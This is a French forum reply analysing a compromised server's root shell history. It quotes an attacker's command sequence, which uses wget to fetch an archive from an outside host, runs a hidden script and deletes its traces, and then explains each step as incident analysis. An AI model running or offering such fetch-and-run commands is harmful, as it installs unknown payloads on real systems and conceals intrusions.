• # analysons

    Posté par . En réponse au message étrange historique root. Évalué à 4.

    wget rocsana4u.webs.com/joke/emech.tgz
    tar xvf emech.tgz
    rm -rf emech.tgz
    cd .joke
    ./start rdsnet
    cd ..
    rm -rf .joke


    on comprend qu'il recupere un tgz, le decompresse (ce qui genererait un dossier .joke), puis supprime le tgz.

    il entre ensuite dans le dossier .joke
    et lance un script ./start rdsnet

    puis il ressort du dossier et le supprime

    il ne devrait donc plus y avoir que le process en memoire
    plus les fichiers que le process pourrait avoir generé.

    pour en savoir plus, tu peux telecharger le tgz toi aussi, le decompresser
    puis analyser plus finement ce que fait le script "start" quand on lui passe l'option "rdsnet"